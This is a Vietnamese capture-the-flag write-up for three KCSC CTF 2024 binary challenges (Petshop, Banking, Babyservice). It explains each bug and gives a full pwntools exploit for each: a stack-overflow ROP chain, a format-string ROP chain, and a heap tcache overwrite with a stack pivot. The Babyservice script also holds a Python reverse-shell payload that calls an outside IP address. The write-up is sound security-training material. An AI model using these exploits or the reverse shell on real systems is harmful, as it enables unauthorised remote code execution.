# KCSC CTF 2024
## Petshop
### Phân tích chương trình
* Chương trình có `3` chức năng `buy`, `sell`, `info`

* `buy`

* Từ truy vấn của người dùng lấy ra `1` string và `1` số
* String này buộc phải là `cat` hoặc `dog`
* `num` là index để lấy tên của `cat` hoặc `dog` trong `2` mảng `cats` và `dogs`

* Biến `num` ở đây là `int` nên có thể truyền tham số âm để bypass check --> `OOB`
* Struct của `pet` được lưu trong `pet_list`

* Chỉ là `2` string
* `sell`

* Nó nhận tham số là index để clear phần tử trong `pet_list`
* Sau đó nó yêu cầu nhập `size` và dùng `size` đó cho hàm `fgets` bên dưới với `1` stack buffer

* Lệnh `checksec` thì mình thấy nó không có canary thì mình đã nghĩ là bug stack overflow rồi và nhìn hàm `sell` rõ là có vấn đề nên mình nghĩ bug chỉ có thể ở đây thôi
* Tuy vậy không thể bypass check bằng cách cho `n < 0` được
* Ở đây ta thấy nó cần có điều kiện là `scanf` phải trả về `1` nữa, nên nếu `scanf` fail và trả về `0` thì sẽ bypass được
* Mình chỉ cần đưa vào `1` ký tự không phải số chẳng hạn `aaaa` thì `scanf` sẽ trả về `0` và `n` sẽ vẫn là `1` gíá trị rác trên stack vì nó không được khởi tạo --> stack overflow
* `info`

* Chỉ đơn giản là in hết tất cả trong `pet_list` hoặc `cats`, `dogs`
### Khai thác
* Từ bug `OOB` thì mình có thể dùng để leak
* Ở trước `cats` và `dogs` có `1` con trỏ trỏ đến chính nó là `1` địa chỉ binary

* Từ đó thì mình có binary rồi thì build rop chain nữa là được

```py=
#!/usr/bin/python3
from pwn import *
sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
elf = context.binary = ELF('petshop')
libc = ELF('libc-2.31.so')
def int_from_bytes(bytes):
return int.from_bytes(bytes, byteorder='little')
def buy(type, idx_name, name):
sla(b'-->', b'buy ' + type + b' ' + str(idx_name).encode())
sla(b'name?', name)
def sell(idx, size, reason = None):
sla(b'-->', b'sell ' + str(idx).encode())
sla(b'reason', str(size).encode())
if reason != None:
sla(b'reason', reason)
def GDB(proc):
gdb.attach(p, gdbscript='''
b *(sell + 245)
b *(sell + 367)
b buy
c
''')
#context.log_level = 'debug'
#p = process()
p = remote('103.163.24.78', 10001)
buy(b'dog', -6, b'hihih')
sla(b'-->', b'info mine')
ru(b'pets:')
ru(b'1. ')
leak = rl()[:-1]
leak = int_from_bytes(leak)
elf.address = leak - 0x4008
POP_RDI = 0x0000000000001a13 + elf.address#: pop rdi ; ret
POP_R15 = 0x0000000000001a11 + elf.address#pop rsi ; pop r15 ret
print('elf: ', hex(elf.address))
print('leak: ', hex(leak))
sell(0, 0x1000)
buy(b'dog', 1, b'\x0f'*0x3f0)
sla(b'-->', b'sell 1')
payload = flat(
POP_RDI,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
)
sla(b'reason?', b'a'*0x209 + payload)
ru(b'sonable!\n')
leak = rl()[:-1]
leak = int_from_bytes(leak)
print('leak: ', hex(leak))
libc.address = leak - libc.symbols['puts']
print('libc: ', hex(libc.address))
#GDB(p)
buy(b'dog', 1, b'\x0f'*0x3f0)
sla(b'-->', b'sell 2')
payload = flat(
POP_RDI,
next(libc.search(b'/bin/sh')),
POP_RDI + 1,
libc.symbols['system']
)
sla(b'reason?', b'a'*0x209 + payload)
#sla(b'reason', b'A'*0x500)
#KCSC{0h_n0_0ur_p3t_h4s_bug?!????????????????????}
p.interactive()
```
## Banking
### Phân tích chương trình
* Ban đầu chương trình cho `3` option

* `login`

* Nó check `account` và `password` dựa trên `2` biến global và nếu thỏa mãn thì trả về `true`
* `reg` là nơi chúng ta set giá trị `2` biến này

* Sau khi login chúng ta có `4` option

* `Deposit`

* Người dùng nhập `1` số và cộng vào biến `money`
* `withdraw`

* Người dùng nhập `1` số và trừ khỏi `money` nếu số đó bé hơn `money`
* `info`

* Ta thấy được ngay bug `format string`
### Khai thác
* Ở đây là bug format string với `1` biến global nên mình phải tìm `1` giá trị stack trỏ đến `1` giá trị stack khác để overwrite địa trỉ trả về của `main`

* Địa chỉ `0x00007ffeceaae790` ở `0x7ffeceaae6b0` trỏ đến `0x00007ffeceaae8e8` với `2` offset tương ứng trong format string là `13` và `40`
* Từ đó thì mình build rop chain thôi

```py=
#!/usr/bin/python3
from pwn import *
sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
elf = context.binary = ELF('banking')
libc = ELF('libc.so.6')
def int_from_bytes(bytes):
return int.from_bytes(bytes, byteorder='little')
def reg(name, pw, fullname):
sla(b'>', b'2')
sla(b'name', name)
sla(b'word', pw)
sla(b'name', fullname)
sla(b'>', b'1')
sla(b'name', name)
sla(b'word', pw)
def info():
sla(b'>', b'3')
def logout():
sla(b'>', b'4')
def gen_fmstr(addr, value):
payload = b''
if addr & 0xffff != 0:
payload += b'%' + str(addr & 0xffff).encode() + b'c'
payload += b'%13$hn'
tmp = addr & 0xff
if tmp > value:
need = value + 0x100 - tmp
else:
need = value - tmp
payload += b'%' + str(need).encode() + b'c' + b'%40$lln'
return payload
def fmstr(offset, value):
if value != 0:
payload = f'%{value}c%{offset}$hn'.encode()
else:
payload = b'hihi'
return payload
def GDB(proc):
gdb.attach(p, gdbscript='''
b info
b *(main + 84)
c
''')
#context.log_level = 'debug'
p = process()
#p = remote('103.163.24.78', 10002)
reg(b'nao', b'nao', b'%p|'*0x10)
info()
ru(b'|')
leak = ru(b'|')[:-1]
leak = int(leak.decode(), 16)
print('leak: ', hex(leak))
libc.address = leak - 0x1f6b24
print('libc: ', hex(libc.address))
for i in range(3):
ru(b'|')
leak = ru(b'|')[:-1]
leak = int(leak.decode(), 16)
print('leak: ', hex(leak))
stack_main = leak + 0x28
print('stack: ', hex(stack_main))
GDB(p)
logout()
sla(B'eedback:', b'hihi')
reg(b'nao', b'nao', b'%13$p|%40$p')
info()
RET = 0x00000000000b9ba9 + libc.address#: xor rax, rax ; ret
rop = ROP(libc)
rop.raw(RET)
rop.system(next(libc.search(b'/bin/sh\x00')))
rop = rop.chain()
print(rop)
for i in range(len(rop)):
logout()
sla(B'eedback:', b'hihi')
pl = fmstr(13, stack_main & 0xffff)
reg(b'nao', b'nao', pl)
info()
logout()
sla(B'eedback:', b'hihi')
pl = fmstr(40, rop[i])
reg(b'nao', b'nao', pl)
info()
stack_main += 1
logout()
sl(b'hihi')
sla(b'>', b'3')
#KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?}
p.interactive()
```
## Babyservice
* Bài này thì mình không giải kịp trước khi kết thúc giải nhưng thôi cứ viết writeup vậy

### Phân tích chương trình
* Khởi đầu hàm `main` có gọi vài hàm để setup

* Hàm `create_pipe`
```cpp=
unsigned __int64 create_pipe()
{
int pipedes[2]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
signal(14, (__sighandler_t)handler);
output = (char *)malloc(0x10000uLL);
if ( pipe(pipedes) < 0 )
{
puts("[-] Failed to create pipe 1!");
exit(1);
}
fd1_read = pipedes[0];
fd1_write = pipedes[1];
if ( pipe(pipedes) < 0 )
{
puts("[-] Failed to create pipe 2!");
exit(1);
}
fd2_read = pipedes[0];
fd2_write = pipedes[1];
arg_1_2 = (arg_struct *)malloc(8uLL);
arg_1_2->read = fd1_read;
arg_1_2->write = fd2_write;
if ( pipe(pipedes) < 0 )
{
puts("[-] Failed to create pipe 1!");
exit(1);
}
fd3_read = pipedes[0];
fd3_write = pipedes[1];
if ( pipe(pipedes) < 0 )
{
puts("[-] Failed to create pipe 2!");
exit(1);
}
fd4_read = pipedes[0];
fd4_write = pipedes[1];
arg3_4 = (arg_struct *)malloc(8uLL);
arg3_4->read = fd3_read;
arg3_4->write = fd4_write;
if ( pipe(pipedes) < 0 )
{
puts("[-] Failed to create pipe 1!");
exit(1);
}
fd5_read = pipedes[0];
fd5_write = pipedes[1];
if ( pipe(pipedes) < 0 )
{
puts("[-] Failed to create pipe 2!");
exit(1);
}
fd6_read = pipedes[0];
fd6_write = pipedes[1];
arg5_6 = (arg_struct *)malloc(8uLL);
arg5_6->read = fd5_read;
arg5_6->write = fd6_write;
pthread_create(&newthread, 0LL, (void *(*)(void *))routine1, arg_1_2);
pthread_create(&thread2, 0LL, (void *(*)(void *))routine2, arg3_4);
pthread_create(&thread3, 0LL, (void *(*)(void *))routine3, arg5_6);
return __readfsqword(0x28u) ^ v2;
}
```
* Hàm này khởi tạo các `pipe`, các `pipe` này tương ứng là để tương tác với `3` thread `routine1`, `routine2`, `routine3`
* Hàm `create_socket` chỉ khởi tạo `socket`
* Chương trình nhận `request` qua port `8888`

* `4` bytes đầu của `request` đầu tiên là option để chúng ta tương tác với `3` thread tương ứng
* Hàm `read_one`

* Nó sẽ đọc tới max là `0x10000` và `realloc` chunk chứa `input` của người dùng và trả về `size` của `request`
* Hàm `handle_req`
```cpp=
size_t handle_req()
{
size_t result; // rax
char *v1; // rax
char *v2; // rax
if ( request == 3 )
{
write_to_fd((unsigned int)fd5_write, input, (unsigned int)size_so_far);
read_to_chunk((unsigned int)fd6_read, output, &size_glob_read6);
result = (unsigned int)size_glob_read6;
if ( size_glob_read6 )
return result;
goto err;
}
if ( (unsigned int)request <= 3 )
{
if ( request == 1 )
{
write_to_fd((unsigned int)fd1_write, input, (unsigned int)size_so_far);
read_to_chunk((unsigned int)fd2_read, output, &size_glob_read6);
result = (unsigned int)size_glob_read6;
if ( size_glob_read6 )
return result;
}
else
{
if ( request != 2 )
goto invalid;
write_to_fd((unsigned int)fd3_write, input, (unsigned int)(size_so_far - 4));
read_to_chunk((unsigned int)fd4_read, output, &size_glob_read6);
result = (unsigned int)size_glob_read6;
if ( size_glob_read6 )
return result;
}
err:
v1 = output;
*(_QWORD *)output = 0x6F206F4E205D2A5BLL;
strcpy(v1 + 8, "utput\n");
result = strlen(output);
size_glob_read6 = result;
return result;
}
invalid:
v2 = output;
*(_QWORD *)output = 0x61766E49205D2D5BLL;
strcpy(v2 + 8, "lid function\n");
result = strlen(output);
size_glob_read6 = result;
return result;
}
```
* Đơn giản là chuyển `request` của chúng ta cho các thread tương ứng
* Thread `routine1`, thread này xử lí `brainfuck`
```cpp=
void __fastcall __noreturn start_routine(arg_struct *arg_1_2)
{
void *buf; // [rsp+18h] [rbp-18h]
struct pollfd fds; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
input_routine1 = malloc(0x1000uLL);
while ( 1 )
{
fds.fd = arg_1_2->read;
fds.events = 1;
if ( poll(&fds, 1uLL, -1) == -1 )
break;
if ( (fds.revents & 1) != 0 )
{
LODWORD(nbytes_routine1) = 0;
memset(input_routine1, 0, 0x1000uLL);
read(arg_1_2->read, &nbytes_routine1, 4uLL);
if ( (unsigned int)nbytes_routine1 <= 0x1000 )
{
read(arg_1_2->read, input_routine1, (unsigned int)nbytes_routine1);
if ( (unsigned int)check_haystack() )
{
handle1();
write_to_chunk((unsigned int)arg_1_2->write, chunk_routine1_output, (unsigned int)size);
}
else
{
write_to_chunk((unsigned int)arg_1_2->write, "[-] Invalid format!\n", 20LL);
}
free_output_reset();
}
else
{
buf = malloc(0x10000uLL);
read(arg_1_2->read, buf, (unsigned int)nbytes_routine1);
memset(buf, 0, 0x10000uLL);
free(buf);
write_to_chunk((unsigned int)arg_1_2->write, "[-] Size too large!\n", 20LL);
free_output_reset();
}
}
}
perror("[-] poll failed");
exit(0);
}
```
* Hàm `checkhaystack`


* Vậy input của người dùng chỉ có thể bao gồm `+-<>[].,`
* Hàm xử lí `handle1`
```cpp=
unsigned __int64 sub_221C()
{
signed int i_1; // [rsp+8h] [rbp-1018h]
unsigned int i; // [rsp+Ch] [rbp-1014h]
__int64 buf[513]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v4; // [rsp+1018h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(buf, 0, 4096);
i_1 = 0;
for ( i = 0; (unsigned int)nbytes_routine1 > i && input_routine1[i]; ++i )
{
switch ( input_routine1[i] )
{
case '+':
if ( (unsigned int)i_1 <= 0xFFF )
++*((_BYTE *)buf + i_1);
break;
case '-':
if ( (unsigned int)i_1 <= 0xFFF )
--*((_BYTE *)buf + i_1);
break;
case '.':
if ( (unsigned int)size <= 0x1000 )
{
LODWORD(size) = size + 1;
chunk_routine1_output = realloc(chunk_routine1_output, (unsigned int)size);
*((_BYTE *)chunk_routine1_output + (unsigned int)(size - 1)) = *((_BYTE *)buf + i_1);
}
break;
case '<':
--i_1;
break;
case '>':
++i_1;
break;
case '[':
if ( !*((_BYTE *)buf + i_1) )
{
do
++i;
while ( input_routine1[i] != ']' );
}
break;
case ']':
do
--i;
while ( input_routine1[i + 1] != '[' );
break;
default:
continue;
}
}
return __readfsqword(0x28u) ^ v4;
}
```
* Ở đây ta thấy `.` ghi vào `output` thì không check biến `i_1` mà chỉ check `size` nên có thể `OOB` để leak chứ không thể ghi
* Đó là tất cả mình thấy ở thread này
* Thread `routine2` là thread xử lí `base64` encode và decode
```cpp=
void __fastcall __noreturn routine2(arg_struct *a1)
{
_BYTE *v1; // rbx
unsigned __int16 size; // [rsp+16h] [rbp-2Ah]
__int64 size_1; // [rsp+18h] [rbp-28h] BYREF
struct pollfd fds; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-18h]
v5 = __readfsqword(0x28u);
while ( 1 )
{
fds.fd = a1->read;
fds.events = 1;
if ( poll(&fds, 1uLL, -1) == -1 )
break;
if ( (fds.revents & 1) != 0 )
{
opcode = 0;
size_routine2_input = 0;
input_buf_routine2 = 0LL;
read(a1->read, &size_routine2_input, 4uLL);
size = size_routine2_input + 1;
if ( (unsigned __int16)(size_routine2_input + 1) <= 0x400u )
{
input_buf_routine2 = malloc(size);
read(a1->read, &opcode, 4uLL);
v1 = input_buf_routine2;
v1[read(a1->read, input_buf_routine2, (unsigned __int16)(size - 1))] = 0;
if ( (unsigned int)opcode < 2 )
{
if ( opcode )
{
if ( opcode == 1 )
out_routine2 = (void *)encode(input_buf_routine2, &size_1);
}
else
{
out_routine2 = (void *)decode(input_buf_routine2, &size_1, (unsigned int)a1->write);
}
if ( out_routine2 )
{
write_to_chunk(a1->write, out_routine2, size_1);
free(out_routine2);
}
free(input_buf_routine2);
out_routine2 = 0LL;
input_buf_routine2 = 0LL;
}
else
{
write_to_chunk(a1->write, "[-] Invalid function!\n", 0x16u);
}
}
else
{
write_to_chunk(a1->write, "[-] Invalid size!\n", 0x12u);
}
}
}
perror("[-] poll failed");
exit(0);
}
```
* Ở hàm `encode` nhận địa chỉ của biến `size_1` và sẽ set biến này thành size của kết quả decode

* Ấy vậy mà khi mà `decode` thì chương trình lại sử dụng lại giá trị đó

* Dẫn tới việc `OOB` trên heap
* Đoạn code overflow

* Cuối cùng là thread `routine3` là thực thi `shellcode`
* Thread này sử dụng `1` mảng `6` phần tử để mô phỏng thanh ghi

* Hàm thực thi `shellcode`
```cpp=
__int64 run_shellcode()
{
__int64 v0; // rax
__int64 v1; // rbx
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rbx
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rbx
__int64 v8; // rax
__int64 v9; // rax
unsigned __int64 v10; // rbx
unsigned __int64 v11; // rax
unsigned __int64 v12; // rax
__int64 v13; // rbx
char v14; // al
__int64 v15; // rax
unsigned __int64 v16; // rbx
char v17; // al
unsigned __int64 v18; // rax
__int64 v19; // rbx
__int64 v20; // rax
__int64 v21; // rax
__int64 v22; // rbx
__int64 v23; // rax
__int64 v24; // rax
__int64 v25; // rbx
__int64 v26; // rax
char v27; // al
__int64 size_1; // rbx
const char *value_arr; // rax
__int64 v30; // rbx
const void *v31; // rax
__int64 result; // rax
unsigned int i; // [rsp+Ch] [rbp-14h]
for ( i = 0; ; ++i )
{
result = (unsigned int)count_routine3;
if ( i >= count_routine3 )
break;
*(_DWORD *)opcode_routine3 = *(_DWORD *)&input_routine3[4 * i];
if ( opcode_routine3[0] > 0x19u )
{
if ( opcode_routine3[0] == '\x7F' && get_value_arr(16) == 1 && get_value_arr(20) == 1 )
{
size_1 = (unsigned int)outsize_routine3;
if ( (unsigned __int64)(size_1 + get_value_arr(19)) <= 0xFFFF )
{
value_arr = (const char *)get_value_arr(21);
open(value_arr, 0, 0LL);
if ( *__errno_location() != 14 )
{
v30 = get_value_arr(19);
v31 = (const void *)get_value_arr(21);
memcpy(out_routine3, v31, v30);
outsize_routine3 += get_value_arr(19);
}
}
}
}
else if ( opcode_routine3[0] >= 0x10u )
{
switch ( opcode_routine3[0] )
{
case 0x10:
if ( opcode_routine3[2] == '\x7F' )
{
set_glob_routine3(opcode_routine3[1], opcode_routine3[3]);
}
else
{
v0 = get_value_arr(opcode_routine3[2]);
set_glob_routine3(opcode_routine3[1], v0);
}
break;
case 0x11:
if ( opcode_routine3[2] == '\x7F' )
{
v3 = get_value_arr(opcode_routine3[1]);
set_glob_routine3(opcode_routine3[1], v3 + opcode_routine3[3]);
}
else
{
v1 = get_value_arr(opcode_routine3[1]);
v2 = get_value_arr(opcode_routine3[2]);
set_glob_routine3(opcode_routine3[1], v1 + v2);
}
break;
case 0x12:
if ( opcode_routine3[2] == '\x7F' )
{
v6 = get_value_arr(opcode_routine3[1]);
set_glob_routine3(opcode_routine3[1], v6 - opcode_routine3[3]);
}
else
{
v4 = get_value_arr(opcode_routine3[1]);
v5 = get_value_arr(opcode_routine3[2]);
set_glob_routine3(opcode_routine3[1], v4 - v5);
}
break;
case 0x13:
if ( opcode_routine3[2] == 127 )
{
v9 = get_value_arr(opcode_routine3[1]);
set_glob_routine3(opcode_routine3[1], v9 * opcode_routine3[3]);
}
else
{
v7 = get_value_arr(opcode_routine3[1]);
v8 = get_value_arr(opcode_routine3[2]);
set_glob_routine3(opcode_routine3[1], v8 * v7);
}
break;
case 0x14:
if ( opcode_routine3[2] == '\x7F' )
{
v12 = get_value_arr(opcode_routine3[1]);
set_glob_routine3(opcode_routine3[1], v12 / opcode_routine3[3]);
}
else
{
v10 = get_value_arr(opcode_routine3[1]);
v11 = get_value_arr(opcode_routine3[2]);
set_glob_routine3(opcode_routine3[1], v10 / v11);
}
break;
case 0x15:
if ( opcode_routine3[2] == '\x7F' )
{
v15 = get_value_arr(opcode_routine3[1]);
set_glob_routine3(opcode_routine3[1], v15 << opcode_routine3[3]);
}
else
{
v13 = get_value_arr(opcode_routine3[1]);
v14 = get_value_arr(opcode_routine3[2]);
set_glob_routine3(opcode_routine3[1], v13 << v14);
}
break;
case 0x16:
if ( opcode_routine3[2] == 127 )
{
v18 = get_value_arr(opcode_routine3[1]);
set_glob_routine3(opcode_routine3[1], v18 >> opcode_routine3[3]);
}
else
{
v16 = get_value_arr(opcode_routine3[1]);
v17 = get_value_arr(opcode_routine3[2]);
set_glob_routine3(opcode_routine3[1], v16 >> v17);
}
break;
case 0x17:
if ( opcode_routine3[2] == 127 )
{
v21 = get_value_arr(opcode_routine3[1]);
set_glob_routine3(opcode_routine3[1], v21 | opcode_routine3[3]);
}
else
{
v19 = get_value_arr(opcode_routine3[1]);
v20 = get_value_arr(opcode_routine3[2]);
set_glob_routine3(opcode_routine3[1], v20 | v19);
}
break;
case 0x18:
if ( opcode_routine3[2] == 127 )
{
v24 = get_value_arr(opcode_routine3[1]);
set_glob_routine3(opcode_routine3[1], v24 ^ opcode_routine3[3]);
}
else
{
v22 = get_value_arr(opcode_routine3[1]);
v23 = get_value_arr(opcode_routine3[2]);
set_glob_routine3(opcode_routine3[1], v23 ^ v22);
}
break;
case 0x19:
if ( opcode_routine3[2] == 127 )
{
v27 = get_value_arr(opcode_routine3[1]);
set_glob_routine3(opcode_routine3[1], (unsigned __int8)(v27 & opcode_routine3[3]));
}
else
{
v25 = get_value_arr(opcode_routine3[1]);
v26 = get_value_arr(opcode_routine3[2]);
set_glob_routine3(opcode_routine3[1], v26 & v25);
}
break;
default:
continue;
}
}
}
return result;
}
```
* `2` hàm `get_value_arr` và `set_value_arr` là đọc và ghi lên thanh ghi
```cpp=
__int64 __fastcall get_value_arr(int num)
{
__int64 result; // rax
int dec_time; // [rsp+14h] [rbp-4h]
dec_time = 0;
while ( num > 21 )
{
num -= 6;
++dec_time;
}
result = (unsigned int)(num - 16);
switch ( num )
{
case 16:
result = return_Arg1(arr_routine3[0], dec_time);
break;
case 17:
result = return_Arg1(arr_routine3[1], dec_time);
break;
case 18:
result = return_Arg1(arr_routine3[2], dec_time);
break;
case 19:
result = return_Arg1(arr_routine3[3], dec_time);
break;
case 20:
result = return_Arg1(arr_routine3[4], dec_time);
break;
case 21:
result = return_Arg1(arr_routine3[5], dec_time);
break;
default:
return result;
}
return result;
}
```
```cpp=
__int64 __fastcall return_Arg1(__int64 num, int dec_time)
{
__int64 result; // rax
if ( dec_time == 3 )
return (unsigned __int8)num;
if ( dec_time <= 3 )
{
if ( dec_time == 2 )
{
return (unsigned __int16)num;
}
else if ( dec_time )
{
if ( dec_time == 1 )
return (unsigned int)num;
}
else
{
return num;
}
}
return result;
}
```
* Dựa trên index mà lấy thanh ghi tương ứng và kiểu dữ liệu `1`, `2`, `4` hoặc `8` bytes
* Shellcode chủ yếu là thực hiện các phép toán giữa `2` số không có gì đặc biệt (chắc vậy 😓)
* Còn nữa là có thể mở `1` file bất kì

* Mà mình cũng chả đụng gì đến thread này nên kệ vậy
### Khai thác
* Từ bug ở thread `brainfuck` để leak `elf`, `libc`. Mình có leak cả `stack` nữa nhưng cuối cùng cũng không để làm gì nhưng mà tại vì lười sửa script nên mình để kệ
* Ở thread `base64` mình sử dụng bug để overwrite tcache `0x25` thành `__free_hook`
* Trước hết là mình sử dụng bug đó để leak `heap base` của thread `2`
* Vì nó sẽ in ra theo cái `size` bị sử dụng lại nên lúc in sẽ bị in tràn. Dựa theo giá trị heap trên tcache của `0x25` để mình leak `heap` luôn
* Bài này mình setup heap rất nhiều để xây dựng ropchain vì không thể cứ gọi `one_gadget` vì sẽ không thể tương tác với chương trình qua `stdin`, `stdout` mà mình chỉ có oneshot gadget với `__free_hook`
* Khi trigger được hàm ở `__free_hook` mình check thông tin các thanh ghi xem có gì dùng được không


* Chỉ có `rbx` là trỏ đến nơi mà mình có thể control được vì mấy giá trị kia trỏ đến chunk mà mình overwrite `__free_hook` mà mình overwrite với chunk `0x25` nên cũng không control được là bao
* Sau khi (rất lâu) mò mẫm gadgets thì mình đã có thể build được ropchain với các gadgets
```py=
CALL_RAX = 0x0000000000146e72 + libc.address#: mov rax, qword ptr [rbx + 0x20] ; mov rdi, rbp ; call qword ptr [rax + 0x20]
MOV_RDX = 0x000000000010d18b + libc.address #: mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]
MOV_RSP_RDX = 0x000000000005b4d0 + libc.address#: mov rsp, rdx ; ret
```
* Mình có thể controll được `[rbx + 0x20]`, nó là cái đoạn mà mình overwrite tcache `0x25`, mình set cho `rax` là `1` cái chunk trên heap mà mình setup sẵn để rồi set `rdx` rồi `pivot`
* Ban đầu mình sử dụng `reverse shell` nhưng mà có lẽ chương trình không có `python3` hay gì đó mà khi chạy trên server thì không được
* Mình phải `dup2` `socket` về `stdin`, `stdout` rồi chạy `system("/bin/sh")`

* Script mình xấu vì khi đó sắp hết giờ nên làm vội với mình cũng không sửa đoạn `reverse shell` nên hơi khó đọc
```py=
#!/usr/bin/python3
from pwn import *
import base64
sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
elf = context.binary = ELF('chall')
libc = ELF('./glibc/libc.so.6')
def int_from_bytes(bytes):
return int.from_bytes(bytes, byteorder='little')
def req1(data):
sl(p32(1) + data)
def req2(size, type, data):
sl(p32(2) + p32(type) + data)
def req3(size, data):
sl(p32(3) + p32(size) + data)
def GDB(proc):
gdb.attach(p, gdbscript='''
b *((void*)&stdout - 0x3bf2)
b *((void*)&stdout - 0x3c3e) # option '.'
b *((void*)&stdout - 0x406b) # read routine2
b *((void*)&stdout - 0x2e82) # read routine3
b *((void*)&stdout - 0x2ea1) # read size routine3
b *((void*)&stdout - 0x3f72) # decode base64
b *((void*)&stdout - 0x3fe0) # routine2
b *((void*)&stdout - 0x43b9) # decode
b *((void*)&stdout - 0x42ae) # malloc1
b *((void*)&stdout - 0x4028) # malloc2
b *((void*)&stdout - 0x455e)
b *((void*)&stdout - 0x47d4) #decode
c
''')
#context.log_level = 'debug'
p = remote('0', 8888)
#p = remote('103.163.24.78', 2907)
req1(b'<'*0x19 + b'>.'*8)
leak = r(8)
leak = int_from_bytes(leak)
print('leak: ', hex(leak))
elf.address = leak - 0x23fb
print('elf: ', hex(elf.address))
req1(b'<'*0x29 + b'>.'*8)
leak = r(8)
leak = int_from_bytes(leak)
print('leak: ', hex(leak))
stack = leak
req1(b'<'*0x6a + b'>.'*8 + b'+')
leak = r(8)
leak = int_from_bytes(leak)
leak = leak >> 8
print('leak: ', hex(leak))
libc.address = leak - 0x9b156
print('libc: ', hex(libc.address))
req2(0x80 + 4, 1, b'A'*0x80)
for i in range(1):
req2(0x20 + 4, 1, b'A'*0x10)
r(0x100)
r(0x100)
req2(0x100, 0, b'YWFhYWFhYWFhYWFhYWFhCg==') # leak heap base
leak = r(8)
leak = int_from_bytes(leak)
print('leak: ', hex(leak))
heap_base = leak - 0xcc0
print('heap base: ', hex(heap_base))
req2(0x100 + 4 - 0x20, 1, b'A'*0xe0)
#overwrite tcache
payload = b'A'*0x10 + p64(0x25) + p64(libc.symbols['__free_hook'] - 0xbc) + p64(0x1111111111111111)*2 + p64(0x25)
payload += p64(heap_base + 0x1158) + p64(0xdeadbeef)*4 + p64(libc.address - 0xbd7bf40 - 0x80)
payload += p64(0xdeadebeef)
payload = payload.ljust(8*0x10)
b64 = base64.b64encode(payload)
print('payload: ', b64)
print('len: ', hex(len(b64)))
req2(len(b64) + 4, 0, b64)
MOV_RDI_PRBX = 0x000000000009e7f1 + libc.address#: mov rdi, qword ptr [rbx + 0x48] ; mov rsi, r14 ; call rax
MOV = 0x000000000010ce85 + libc.address#: mov rdi, qword ptr [rbx + 0x80] ; call qword ptr [rax + 0x88]
CALL_RAX = 0x0000000000146e72 + libc.address#: mov rax, qword ptr [rbx + 0x20] ; mov rdi, rbp ; call qword ptr [rax + 0x20]
MOV_RDX = 0x000000000010d18b + libc.address #: mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]
MOV_RSP_RDX = 0x000000000005b4d0 + libc.address#: mov rsp, rdx ; ret
POP_RDI = 0x0000000000023b6a + libc.address#: pop rdi ; ret
SYSCALL = 0x000000000002284d + libc.address#: syscall
POP_RDX_R12 = 0x0000000000119431 + libc.address#: pop rdx ; pop r12 ; ret
POP_RSI = 0x000000000002601f + libc.address#: pop rsi ; ret
MOV_RSP_RDX = 0x000000000005b4d0 + libc.address#: mov rsp, rdx ; ret
shell = b"C"*0x80 + b"/bin/python3\x00-c\x00socket=__import__(\"socket\");os=__import__(\"os\");pty=__import__(\"pty\");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"193.161.193.99\",26863));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")\x00" + b'\x00'*4
PYTHON3 = heap_base + 0x1070
C = PYTHON3 + 0xd
SOCKET = C + 3
ARG = heap_base + 0x1300
reverse_shell = ROP(libc)
reverse_shell.dup2(0x10, 0)
reverse_shell.dup2(0x10, 1)
reverse_shell.system(next(libc.search(b'/bin/sh\x00')))
# pivot here v
shell += p64(MOV_RDX)*0xb + p64(MOV_RSP_RDX)*0x7 + p64(heap_base + 0x12c0) + p64(MOV_RSP_RDX)*4 + p64(POP_RDI + 1)*0x12 + reverse_shell.chain() + flat(PYTHON3, C, SOCKET, 0) + p64(POP_RDI) + p64(0x20) + p64(libc.symbols['sleep']) + p64(0xcafebabe)*(0x10 - 7)
#shell += p64(MOV_RDX)*0xb + p64(MOV_RSP_RDX)*0x7 + p64(libc.address - 0xbd7c0e0 + 0x380) + p64(MOV_RSP_RDX)*4 + p64(POP_RDI + 1)*0x22 + p64(libc.symbols['system'])
#shell = b'B'*0x200
req2(len(shell) + 10, 1, shell)
print(hex(CALL_RAX))
pause()
payload = p64(CALL_RAX)*2
payload = payload[:-5]
b64 = base64.b64encode(payload)
print('len: ', hex(len(b64)))
req2(len(b64) + 4, 0, b64)
#KCSC{n0_way!_integer_ov3rfl0w_h3r3???}
p.interactive()
```